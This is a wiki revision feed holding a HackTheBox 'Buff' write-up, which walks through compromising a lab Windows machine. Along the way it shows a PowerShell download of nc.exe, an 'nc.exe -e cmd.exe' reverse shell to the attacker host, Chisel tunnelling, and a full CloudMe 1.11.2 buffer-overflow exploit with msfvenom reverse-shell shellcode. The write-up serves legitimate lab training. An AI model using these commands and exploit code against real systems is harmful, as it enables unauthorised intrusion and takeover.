<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FBuff</id>
	<title>Write-ups/HTB/Buff - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FBuff"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Buff&amp;action=history"/>
	<updated>2026-04-21T14:47:58Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Buff&amp;diff=1196&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 14:00, 17 March 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Buff&amp;diff=1196&amp;oldid=prev"/>
		<updated>2022-03-17T14:00:27Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Buff&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = Gym Management RCE, Chisel, CloudMe BOF&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On this Windows machine I exploited a Gym Management System to get remote code execution. After enumerating the machine there was a port, &amp;#039;&amp;#039;&amp;#039;8888&amp;#039;&amp;#039;&amp;#039;,  listening on localhost. Looking at the processes we find that its running &amp;#039;&amp;#039;&amp;#039;CloudMe.&amp;#039;&amp;#039;&amp;#039; I&amp;#039;ll use chisel to tunnel traffic from my machine to the target. In the the users download folder there was exe called CloudMe_1112.exe telling us which version that is runnin. There is a buffer overflow vulnerability in CloudMe 1112 which I exploited to get &amp;#039;&amp;#039;&amp;#039;root.&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with NMAP.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/buff]&lt;br /&gt;
└─#  cat nmap.ver&lt;br /&gt;
# Nmap 7.92 scan initiated Mon Feb  7 16:19:38 2022 as: nmap -p- -sC -sV --min-rate 10000 -oN nmap.ver 10.10.10.198&lt;br /&gt;
Nmap scan report for 10.10.10.198&lt;br /&gt;
Host is up (0.11s latency).&lt;br /&gt;
Not shown: 65533 filtered tcp ports (no-response)&lt;br /&gt;
PORT     STATE SERVICE    VERSION&lt;br /&gt;
7680/tcp open  pando-pub?&lt;br /&gt;
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)&lt;br /&gt;
|_http-title: mrb3n&amp;#039;s Bro Hut&lt;br /&gt;
| http-open-proxy: Potentially OPEN proxy.&lt;br /&gt;
|_Methods supported:CONNECTION&lt;br /&gt;
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Only two ports open:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;7680 &amp;#039;&amp;#039;&amp;#039;which is running Pando Media Public Distribution* &amp;#039;&amp;#039;&amp;#039;8080 &amp;#039;&amp;#039;&amp;#039;which is running Apache httpd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Webserver ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lets look at the webserver.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220208193158.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220208193229.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the Contact directory we can see a note that says &amp;#039;&amp;#039;&amp;#039;Made using Gym Management Software 1.0&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A quick look at searchploit reveals that there is a RCE vulnerability in this software.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/buff]&lt;br /&gt;
└─# searchsploit &amp;quot;gym&amp;quot;&lt;br /&gt;
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------&lt;br /&gt;
 Exploit Title                                                                                                                                             |  Path&lt;br /&gt;
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------&lt;br /&gt;
Gym Management System 1.0 - &amp;#039;id&amp;#039; SQL Injection                                                                                                             | php/webapps/48936.txt&lt;br /&gt;
Gym Management System 1.0 - Authentication Bypass                                                                                                          | php/webapps/48940.txt&lt;br /&gt;
Gym Management System 1.0 - Stored Cross Site Scripting                                                                                                    | php/webapps/48941.txt&lt;br /&gt;
Gym Management System 1.0 - Unauthenticated Remote Code Execution                                                                                          | php/webapps/48506.py&lt;br /&gt;
WordPress Plugin WPGYM - SQL Injection                                                                                                                     | php/webapps/42801.txt&lt;br /&gt;
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------&lt;br /&gt;
Shellcodes: No Results&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shell as shaun ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/buff]&lt;br /&gt;
└─# python2 48506.py http://10.10.10.198:8080/                                                                                                                                         255 ⨯&lt;br /&gt;
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.&lt;br /&gt;
            /\&lt;br /&gt;
/vvvvvvvvvvvv \--------------------------------------,&lt;br /&gt;
`^^^^^^^^^^^^ /============BOKU=====================&amp;quot;&lt;br /&gt;
            \/&lt;br /&gt;
&lt;br /&gt;
[+] Successfully connected to webshell.&lt;br /&gt;
C:\xampp\htdocs\gym\upload&amp;gt; whoami&lt;br /&gt;
�PNG&lt;br /&gt;
▒&lt;br /&gt;
buff\shaun&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Better shell ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The shell I got was very unstable, so I wanted to upgrade it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Copy nc.exe to target machine&lt;br /&gt;
C:\xampp\htdocs\gym\upload&amp;gt; powershell -c (New-Object Net.WebClient).DownloadFile(&amp;#039;http://10.10.14.18:9000/nc.exe&amp;#039;, &amp;#039;nc.exe&amp;#039;)&lt;br /&gt;
&lt;br /&gt;
# Start listener and execute nc.exe reverse shell&lt;br /&gt;
C:\xampp\htdocs\gym\upload&amp;gt; nc.exe -e cmd.exe 10.10.14.18 4444&lt;br /&gt;
&lt;br /&gt;
# Use rlwrap for more feature rich shell&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# rlwrap nc -lvnp 4444&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.198] 50569&lt;br /&gt;
Microsoft Windows [Version 10.0.17134.1610]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumeration ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After enumerating the machine I found that there was two ports listening on localhost. &amp;#039;&amp;#039;&amp;#039;8888 &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;3306&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
netstat -ano&lt;br /&gt;
&lt;br /&gt;
Active Connections&lt;br /&gt;
&lt;br /&gt;
  Proto  Local Address          Foreign Address        State           PID&lt;br /&gt;
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       948&lt;br /&gt;
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4&lt;br /&gt;
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       6108&lt;br /&gt;
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       6256&lt;br /&gt;
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       528&lt;br /&gt;
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1084&lt;br /&gt;
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1620&lt;br /&gt;
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2288&lt;br /&gt;
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       672&lt;br /&gt;
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       692&lt;br /&gt;
  TCP    10.10.10.198:139       0.0.0.0:0              LISTENING       4&lt;br /&gt;
  TCP    10.10.10.198:8080      10.10.14.18:45680      ESTABLISHED     6256&lt;br /&gt;
  TCP    10.10.10.198:49677     10.10.14.18:4444       ESTABLISHED     5152&lt;br /&gt;
  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING       3492&lt;br /&gt;
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING       4024&lt;br /&gt;
  TCP    [::]:135               [::]:0                 LISTENING       948&lt;br /&gt;
  TCP    [::]:445               [::]:0                 LISTENING       4&lt;br /&gt;
  TCP    [::]:8080              [::]:0                 LISTENING       6256&lt;br /&gt;
  TCP    [::]:49664             [::]:0                 LISTENING       528&lt;br /&gt;
  TCP    [::]:49665             [::]:0                 LISTENING       1084&lt;br /&gt;
  TCP    [::]:49666             [::]:0                 LISTENING       1620&lt;br /&gt;
  TCP    [::]:49667             [::]:0                 LISTENING       2288&lt;br /&gt;
  TCP    [::]:49668             [::]:0                 LISTENING       672&lt;br /&gt;
  TCP    [::]:49669             [::]:0                 LISTENING       692&lt;br /&gt;
  UDP    0.0.0.0:5050           *:*                                    6108&lt;br /&gt;
  UDP    0.0.0.0:5353           *:*                                    1260&lt;br /&gt;
  UDP    0.0.0.0:5355           *:*                                    1260&lt;br /&gt;
  UDP    0.0.0.0:53376          *:*                                    1260&lt;br /&gt;
  UDP    0.0.0.0:56065          *:*                                    1260&lt;br /&gt;
  UDP    0.0.0.0:64161          *:*                                    1260&lt;br /&gt;
  UDP    10.10.10.198:137       *:*                                    4&lt;br /&gt;
  UDP    10.10.10.198:138       *:*                                    4&lt;br /&gt;
  UDP    10.10.10.198:1900      *:*                                    5840&lt;br /&gt;
  UDP    10.10.10.198:62852     *:*                                    5840&lt;br /&gt;
  UDP    127.0.0.1:1900         *:*                                    5840&lt;br /&gt;
  UDP    127.0.0.1:58483        *:*                                    2624&lt;br /&gt;
  UDP    127.0.0.1:62853        *:*                                    5840&lt;br /&gt;
  UDP    [::]:5353              *:*                                    1260&lt;br /&gt;
  UDP    [::]:5355              *:*                                    1260&lt;br /&gt;
  UDP    [::]:53376             *:*                                    1260&lt;br /&gt;
  UDP    [::]:56065             *:*                                    1260&lt;br /&gt;
  UDP    [::]:64161             *:*                                    1260&lt;br /&gt;
  UDP    [::1]:1900             *:*                                    5840&lt;br /&gt;
  UDP    [::1]:62851            *:*                                    5840&lt;br /&gt;
  UDP    [fe80::8a0:fcf9:c723:1b07%10]:1900  *:*                                    5840&lt;br /&gt;
  UDP    [fe80::8a0:fcf9:c723:1b07%10]:62850  *:*                                    5840&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at the processes running I can see that CloudMe is running on the port 8888.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There was also an &amp;#039;&amp;#039;&amp;#039;exe &amp;#039;&amp;#039;&amp;#039;in Shauns download folder telling me what version of CloudMe is running.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Users\shaun\Downloads&lt;br /&gt;
&lt;br /&gt;
14/07/2020  12:27              .&lt;br /&gt;
14/07/2020  12:27              ..&lt;br /&gt;
16/06/2020  15:26        17,830,824 CloudMe_1112.exe&lt;br /&gt;
               1 File(s)     17,830,824 bytes&lt;br /&gt;
               2 Dir(s)   7,133,970,432 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Buffer overflow vulnerability ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at searchsploit output we can see that there is a buffer overflow vulnerability in Cloudme 1.11.2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/buff]&lt;br /&gt;
└─# searchsploit cloudme                                                                                                                                                               130 ⨯&lt;br /&gt;
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------&lt;br /&gt;
 Exploit Title                                                                                                                                             |  Path&lt;br /&gt;
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------&lt;br /&gt;
CloudMe 1.11.2 - Buffer Overflow (PoC)                                                                                                                     | windows/remote/48389.py&lt;br /&gt;
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR)                                                                                                            | windows/local/48499.txt&lt;br /&gt;
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR)                                                                                                            | windows/local/48840.py&lt;br /&gt;
Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit)                                                                                                           | windows_x86-64/remote/45197.rb&lt;br /&gt;
CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass)                                                                                                    | windows_x86-64/local/45159.py&lt;br /&gt;
CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit)                                                                                             | windows/remote/44175.rb&lt;br /&gt;
CloudMe Sync 1.11.0 - Local Buffer Overflow                                                                                                                | windows/local/44470.py&lt;br /&gt;
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt                                                                                                            | windows/remote/46218.py&lt;br /&gt;
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass)                                                                                                   | windows_x86-64/remote/46250.py&lt;br /&gt;
CloudMe Sync &amp;lt; 1.11.0 - Buffer Overflow                                                                                                                    | windows/remote/44027.py&lt;br /&gt;
CloudMe Sync &amp;lt; 1.11.0 - Buffer Overflow (SEH) (DEP Bypass)                                                                                                 | windows_x86-64/remote/44784.py&lt;br /&gt;
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------&lt;br /&gt;
Shellcodes: No Results&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Modify exploit ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The buffer overflow in the original exploit just started calc.exe. I&amp;#039;ll modify it to get a reverse shell. I&amp;#039;ll paste msfvenom&amp;#039;s output in the exploit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/buff]&lt;br /&gt;
└─# cat 48389.py&lt;br /&gt;
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)&lt;br /&gt;
# Date: 2020-04-27&lt;br /&gt;
# Exploit Author: Andy Bowden&lt;br /&gt;
# Vendor Homepage: https://www.cloudme.com/en&lt;br /&gt;
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe&lt;br /&gt;
# Version: CloudMe 1.11.2&lt;br /&gt;
# Tested on: Windows 10 x86&lt;br /&gt;
&lt;br /&gt;
#Instructions:&lt;br /&gt;
# Start the CloudMe service and run the script.&lt;br /&gt;
&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
target = &amp;quot;127.0.0.1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
padding1   = b&amp;quot;\x90&amp;quot; * 1052&lt;br /&gt;
EIP        = b&amp;quot;\xB5\x42\xA8\x68&amp;quot; # 0x68A842B5 -&amp;gt; PUSH ESP, RET&lt;br /&gt;
NOPS       = b&amp;quot;\x90&amp;quot; * 30&lt;br /&gt;
&lt;br /&gt;
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.18 LPORT=6666 -b &amp;#039;\x00\x0A\x0D&amp;#039; -f python -v payload&lt;br /&gt;
&lt;br /&gt;
payload =  b&amp;quot;&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xda\xdc\xd9\x74\x24\xf4\xbe\xb6\xe0\xcc\xc5\x58&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x33\xc9\xb1\x52\x83\xc0\x04\x31\x70\x13\x03\xc6&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xf3\x2e\x30\xda\x1c\x2c\xbb\x22\xdd\x51\x35\xc7&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xec\x51\x21\x8c\x5f\x62\x21\xc0\x53\x09\x67\xf0&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xe0\x7f\xa0\xf7\x41\x35\x96\x36\x51\x66\xea\x59&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xd1\x75\x3f\xb9\xe8\xb5\x32\xb8\x2d\xab\xbf\xe8&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xe6\xa7\x12\x1c\x82\xf2\xae\x97\xd8\x13\xb7\x44&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xa8\x12\x96\xdb\xa2\x4c\x38\xda\x67\xe5\x71\xc4&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x64\xc0\xc8\x7f\x5e\xbe\xca\xa9\xae\x3f\x60\x94&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x1e\xb2\x78\xd1\x99\x2d\x0f\x2b\xda\xd0\x08\xe8&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xa0\x0e\x9c\xea\x03\xc4\x06\xd6\xb2\x09\xd0\x9d&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xb9\xe6\x96\xf9\xdd\xf9\x7b\x72\xd9\x72\x7a\x54&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x6b\xc0\x59\x70\x37\x92\xc0\x21\x9d\x75\xfc\x31&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x7e\x29\x58\x3a\x93\x3e\xd1\x61\xfc\xf3\xd8\x99&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xfc\x9b\x6b\xea\xce\x04\xc0\x64\x63\xcc\xce\x73&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x84\xe7\xb7\xeb\x7b\x08\xc8\x22\xb8\x5c\x98\x5c&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x69\xdd\x73\x9c\x96\x08\xd3\xcc\x38\xe3\x94\xbc&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xf8\x53\x7d\xd6\xf6\x8c\x9d\xd9\xdc\xa4\x34\x20&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xb7\xc0\xc2\x24\x55\xbd\xd0\x38\x43\x37\x5c\xde&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x19\x57\x08\x49\xb6\xce\x11\x01\x27\x0e\x8c\x6c&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x67\x84\x23\x91\x26\x6d\x49\x81\xdf\x9d\x04\xfb&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x76\xa1\xb2\x93\x15\x30\x59\x63\x53\x29\xf6\x34&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x34\x9f\x0f\xd0\xa8\x86\xb9\xc6\x30\x5e\x81\x42&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xef\xa3\x0c\x4b\x62\x9f\x2a\x5b\xba\x20\x77\x0f&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x12\x77\x21\xf9\xd4\x21\x83\x53\x8f\x9e\x4d\x33&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x56\xed\x4d\x45\x57\x38\x38\xa9\xe6\x95\x7d\xd6&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xc7\x71\x8a\xaf\x35\xe2\x75\x7a\xfe\x12\x3c\x26&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x57\xbb\x99\xb3\xe5\xa6\x19\x6e\x29\xdf\x99\x9a&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\xd2\x24\x81\xef\xd7\x61\x05\x1c\xaa\xfa\xe0\x22&amp;quot;&lt;br /&gt;
payload += b&amp;quot;\x19\xfa\x20&amp;quot;&lt;br /&gt;
&lt;br /&gt;
overrun    = b&amp;quot;C&amp;quot; * (1500 - len(padding1 + NOPS + EIP + payload))&lt;br /&gt;
&lt;br /&gt;
buf = padding1 + EIP + NOPS + payload + overrun&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
        s.connect((target,8888))&lt;br /&gt;
        s.send(buf)&lt;br /&gt;
except Exception as e:&lt;br /&gt;
        print(sys.exc_value)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since CloudMe is running on localhost, I&amp;#039;ll have to tunnel traffic from my machine to the target since python is not install on buff. I&amp;#039;ll use Chisel for that.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll first start a Chisel server on my attacker.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/buff]&lt;br /&gt;
└─# chisel server -p 9005 --reverse&lt;br /&gt;
2022/02/08 16:16:39 server: Reverse tunnelling enabled&lt;br /&gt;
2022/02/08 16:16:39 server: Fingerprint arF1mv+kpqrMAZ9LHAWdnPJFJwbTzm3LN+GBVkoKv/o=&lt;br /&gt;
2022/02/08 16:16:39 server: Listening on http://0.0.0.0:9005&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On the target machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
chisel.exe client 10.10.14.18:9005 R:8888:127.0.0.1:8888&lt;br /&gt;
chisel.exe client 10.10.14.18:9005 R:8888:127.0.0.1:8888&lt;br /&gt;
2022/02/08 21:19:13 client: Connecting to ws://10.10.14.18:9005&lt;br /&gt;
2022/02/08 21:19:15 client: Connected (Latency 96.2612ms)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On my Chisel server I can see that I have a connection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
2022/02/08 16:17:20 server: session#1: tun: proxy#R:8888=&amp;gt;8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shell as nt authority\system ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/buff]&lt;br /&gt;
└─# python3 48389.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# rlwrap nc -lvnp 6666&lt;br /&gt;
listening on [any] 6666 ...&lt;br /&gt;
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.198] 49683&lt;br /&gt;
Microsoft Windows [Version 10.0.17134.1610]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
&lt;br /&gt;
whoami&lt;br /&gt;
whoami&lt;br /&gt;
buff\administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Running vulnerable software, like in this instance, can result in remote code exection.* Enumerating the machine we can find that sometimes there are ports running on localhost only and blocked by the firewall. In this instance cloudme was running a vulnerable version which we exploited by tunneling our traffic to the target machine through port 8888.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>